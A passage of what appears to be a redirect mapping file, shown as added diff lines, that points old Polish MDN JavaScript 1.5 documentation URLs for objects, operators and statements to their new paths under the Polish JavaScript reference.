+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/nazwaKlasy /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/nazwaKlasy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/netscape
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/sun /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/sun
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/exec /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/exec
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/global /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/global
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/ignoreCase /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/source /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/source
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/test /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/test
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/anchor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/anchor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/big /pl/docs/Web/JavaScript/Referencje/Obiekty/String/big
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/blink /pl/docs/Web/JavaScript/Referencje/Obiekty/String/blink
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/bold /pl/docs/Web/JavaScript/Referencje/Obiekty/String/bold
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/charAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charAt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/charCodeAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charCodeAt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/concat /pl/docs/Web/JavaScript/Referencje/Obiekty/String/concat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fixed /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fixed
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fontcolor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontcolor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fontsize /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontsize
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fromCharCode /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fromCharCode
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/italics /pl/docs/Web/JavaScript/Referencje/Obiekty/String/italics
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/length /pl/docs/Web/JavaScript/Referencje/Obiekty/String/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/link /pl/docs/Web/JavaScript/Referencje/Obiekty/String/link
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/String/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/search /pl/docs/Web/JavaScript/Referencje/Obiekty/String/search
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/slice /pl/docs/Web/JavaScript/Referencje/Obiekty/String/slice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/small /pl/docs/Web/JavaScript/Referencje/Obiekty/String/small
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/strike /pl/docs/Web/JavaScript/Referencje/Obiekty/String/strike
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/sub /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sub
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/substr /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substr
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/substring /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substring
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/sup /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sup
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toLowerCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toLowerCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toUpperCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toUpperCase
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/String/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/java /pl/docs/Web/JavaScript/Referencje/Obiekty/java
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/netscape
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/sun /pl/docs/Web/JavaScript/Referencje/Obiekty/sun
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_arytmetyczne /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_pami%C4%99ci /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_pami%C4%99ci
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_przypisania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_przypisania
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_in /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_in
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_instanceof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_instanceof
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_new /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_new
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_przecinkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_przecinkowy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_typeof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_typeof
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_void /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_void
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_warunkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_warunkowy
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/block /pl/docs/Web/JavaScript/Referencje/Polecenia/block
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/break /pl/docs/Web/JavaScript/Referencje/Polecenia/break
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/do...while /pl/docs/Web/JavaScript/Referencje/Polecenia/do...while
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/etykieta /pl/docs/Web/JavaScript/Referencje/Polecenia/etykieta
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/export /pl/docs/Web/JavaScript/Referencje/Polecenia/export
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/for /pl/docs/Web/JavaScript/Referencje/Polecenia/for
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/function /pl/docs/Web/JavaScript/Referencje/Polecenia/function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/if...else /pl/docs/Web/JavaScript/Referencje/Polecenia/if...else
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/import /pl/docs/Web/JavaScript/Referencje/Polecenia/import
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/return /pl/docs/Web/JavaScript/Referencje/Polecenia/return
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/switch /pl/docs/Web/JavaScript/Referencje/Polecenia/switch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/throw /pl/docs/Web/JavaScript/Referencje/Polecenia/throw
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/var /pl/docs/Web/JavaScript/Referencje/Polecenia/var
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/while /pl/docs/Web/JavaScript/Referencje/Polecenia/while
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody /pl/docs/Web/JavaScript/Referencje/Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/S%C5%82owa_zarezerwowane /pl/docs/Web/JavaScript/Referencje/S%C5%82owa_zarezerwowane
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/Infinity /pl/docs/Web/JavaScript/Referencje/Obiekty/Infinity
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/NaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/undefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bciundefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Wyra%C5%BCenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Wyra%C5%BCenia/const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:arguments /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:arguments:callee /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/callee
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:arguments:caller /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/caller
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:arguments:length /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:decodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:decodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURIComponent
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:encodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:encodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURIComponent
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:isFinite /pl/docs/Web/JavaScript/Referencje/Obiekty/isFinite
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:isNaN /pl/docs/Web/JavaScript/Referencje/Obiekty/isNaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:parseFloat /pl/docs/Web/JavaScript/Referencje/Obiekty/parseFloat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Funkcje:parseInt /pl/docs/Web/JavaScript/Referencje/Obiekty/parseInt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Komentarze /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Komentarze:komentarz /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:LiveConnect /pl/docs/Web/JavaScript/Referencje/LiveConnect
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:LiveConnect:JSException /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSException
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:LiveConnect:JSObject /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSObject
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:O_tym_dokumencie /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:O_tym_dokumencie:Konwencje_formatowania_tekstu /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:concat /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/concat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:every /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/every
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:filter /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/filter
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:forEach /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/forEach
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:index /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/index
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:indexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/indexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:input /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/input
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:join /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/join
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:lastIndexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:length /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:map /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/map
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:pop /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/pop
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:push /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/push
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:reverse /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/reverse
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:shift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/shift
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:slice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/slice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:some /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/some
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:sort /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/sort
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:splice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/splice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:unshift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/unshift
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Array:valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean:toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean:toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Boolean:valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:UTC /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/UTC
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDay
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTime
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getTimezoneOffset /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDay
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:getYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:now /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/now
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:parse /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/parse
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setTime
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Obiekty:Date:setUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear
